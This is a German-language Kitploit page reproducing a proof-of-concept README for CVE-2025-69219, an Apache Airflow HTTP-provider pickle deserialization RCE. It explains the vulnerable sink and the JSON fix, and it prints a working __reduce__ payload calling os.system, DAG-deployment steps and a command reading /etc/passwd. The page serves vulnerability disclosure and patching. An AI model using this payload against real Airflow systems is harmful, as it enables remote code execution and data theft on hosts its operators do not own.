Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-69219 | Kitploit
Tools/GitHubGitHub/sak110/cve-2025-69219
SchwachstellenanalyseExploitationPapers & ForschungLernen & BildungPayload-EntwicklungBinary-Exploitation
GitHubsak110/cve-2025-69219

CVE-2025-69219

Repository anzeigen
73vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-69219 — Apache Airflow Providers HTTP RCE durch unsichere Pickle-Deserialisierung

Schweregrad: Hoch (CVSS 3.1: 8.8)
Vektor: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-913 — Unzureichende Kontrolle dynamisch verwalteter Code-Ressourcen
Betroffen: apache-airflow-providers-http >= 5.1.0, < 6.0.0
Behoben in: apache-airflow-providers-http == 6.0.0
Patch: apache/airflow#61662 · commit 97839f7


Überblick

Der HTTP-Provider von Apache Airflow verwendete das Python-Modul pickle, um HTTP-Trigger-Antworten für verzögerte Tasks zu serialisieren und zu deserialisieren. Der verwundbare Sink in HttpOperator.execute_complete() sah wie folgt aus:

root@kitploit:~
# VULNERABLE (pre-patch) — providers/http/src/.../operators/http.py
response = pickle.loads(base64.standard_b64decode(event["response"]))

Das event-Dictionary wird aus der Airflow-Datenbank gelesen, was bedeutet, dass jede Entität (Principal) mit Schreibzugriff auf die Datenbank eine bösartige Pickle-Nutzlast einschleusen kann. Wenn der Triggerer-Worker den verzögerten Task verarbeitet, deserialisiert er diese Nutzlast blind und führt dabei beliebige Betriebssystembefehle mit den Berechtigungen des Triggerer-Prozesses aus — gleichwertig mit einem DAG-Autor.


Grundursache

pickle.loads() mit nicht vertrauenswürdigen Daten ist grundsätzlich eine unsichere Operation. Das __reduce__-Protokoll von Pickle erlaubt es, beliebige aufrufbare Python-Objekte in den serialisierten Blob einzubetten und während der Deserialisierung ohne Sandboxing aufzurufen.

Der Airflow-Triggerer serialisiert die HTTP-Antwort zum Zeitpunkt des Abschlusses und speichert sie in der Datenbank:

root@kitploit:~
# triggers/http.py (pre-patch)
yield TriggerEvent({
    "status": "success",
    "response": base64.standard_b64encode(pickle.dumps(response)).decode("ascii"),
})

Ein Angreifer mit Datenbankzugriff ersetzt diesen Wert durch einen präparierten Pickle-Blob, z. B.:

root@kitploit:~
class RCEPayload:
    def __reduce__(self):
        return (os.system, ("id",))

payload = base64.b64encode(pickle.dumps(RCEPayload())).decode()

Der Triggerer ruft dann execute_complete → pickle.loads() → RCE auf.


Der Fix (6.0.0)

Der Patch ersetzt Pickle vollständig durch einen sicheren, expliziten JSON-Serialisierer:

root@kitploit:~
# triggers/http.py (post-patch)
yield TriggerEvent({
    "status": "success",
    "response": HttpResponseSerializer.serialize(response),  # JSON dict
})
root@kitploit:~
# HttpResponseSerializer.deserialize() — validates input is a dict, never executes code
if isinstance(data, str):
    raise TypeError("Response data must be a dict, got str")

Der neue Deserialisierer rekonstruiert nur ein requests.Response-Objekt aus bekannten Feldern (status_code, headers, content usw.) — beliebige Codeausführung ist nicht möglich.


PoC

Voraussetzungen

root@kitploit:~
# Python 3.9+; install a vulnerable version
pip install "apache-airflow-providers-http>=5.1.0,<6.0.0"

Modus 1 — Lokale Simulation (kein Airflow erforderlich)

Reproduziert den verwundbaren pickle.loads()-Aufruf im selben Prozess:

root@kitploit:~
python poc.py
# or with a custom command:
python poc.py --cmd "whoami"

Beispielausgabe:

root@kitploit:~
  CVE-2025-69219 | Apache Airflow Providers HTTP < 6.0.0
  Unsafe Pickle Deserialization → RCE via HttpOperator
  -------------------------------------------------------

[*] Command       : id
[*] Pickle payload: gASVKAAAAAAAAACMAnBvc3lzdGVtlIWUUpQu...
[*] Triggering deserialization (simulating execute_complete) ...

uid=1000(user) gid=1000(user) groups=1000(user)

[+] os.system returned: 0  (0 = success)

Modus 2 — Vollständige DAG-Bereitstellung (erfordert eine laufende Airflow-Instanz mit providers-http < 6.0.0)

root@kitploit:~
# Generate a deployable DAG
python poc.py --mode dag --cmd "id"

# Copy to your Airflow DAGs directory
cp cve_2025_69219_poc_dag.py $AIRFLOW_HOME/dags/

# Trigger from the Airflow UI or CLI
airflow dags trigger cve_2025_69219_poc

Prüfen Sie die Task-Logs auf die Befehlsausgabe.

Rohe Nutzlast ausgeben

root@kitploit:~
python poc.py --show-payload --cmd "cat /etc/passwd"

Auswirkungen

FaktorDetail
Wer kann ausnutzen

Gegenmaßnahmen

  1. Aktualisieren Sie apache-airflow-providers-http auf 6.0.0 oder höher.
  2. Beschränken Sie den Datenbankzugriff — nur die Dienstkonten des Airflow-Schedulers/Webservers sollten Schreibzugriff auf die Metadaten-Datenbank haben.
  3. Stellen Sie vor dem Upgrade sicher, dass alle verzögerten HTTP-Tasks (deferrable=True) abgeschlossen oder gelöscht wurden, da mit Pickle serialisierte, laufende Tasks nach dem Upgrade eine TypeError auslösen (Breaking Change, im Provider-Changelog dokumentiert).
root@kitploit:~
pip install "apache-airflow-providers-http>=6.0.0"

Zeitleiste

DatumEreignis
2026-03-09CVE von der Apache Software Foundation veröffentlicht
2026-03-09Fix zusammengeführt (PR #61662, Commit 97839f7)
2026-03-09Auf der Mailingliste oss-security offengelegt

Referenzen

  • CVE-2025-69219 im NVD
  • GitHub Advisory GHSA-9r5j-7r2x-rv4g
  • Patch PR #61662
  • Patch-Commit 97839f7
  • oss-security-Offenlegung

Credits

  • skypher — Entdecker
  • Shauryae1337 — Entdecker
  • ahmetartuc — Entdecker und Autor des ursprünglichen PoC (poc-cve-2025-69219)

Der PoC in diesem Repository basiert auf der ursprünglichen Arbeit von @ahmetartuc.


Haftungsausschluss

Dieser Proof-of-Concept wird ausschließlich zu Bildungs- und Sicherheitsforschungszwecken veröffentlicht. Testen Sie nur Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Die Autoren übernehmen keine Verantwortung für Missbrauch.

Tool herunterladen
Jeder Benutzer mit direktem Schreibzugriff auf die Airflow-Datenbank
AusführungskontextTriggerer-Worker-Prozess (gleiche Berechtigungen wie ein DAG-Autor)
WahrscheinlichkeitGering — direkter Datenbankzugriff ist in gut konfigurierten Bereitstellungen unüblich
Blast-RadiusVollständige Host-RCE auf dem Triggerer-Knoten: Datenexfiltration, laterale Bewegung, Persistenz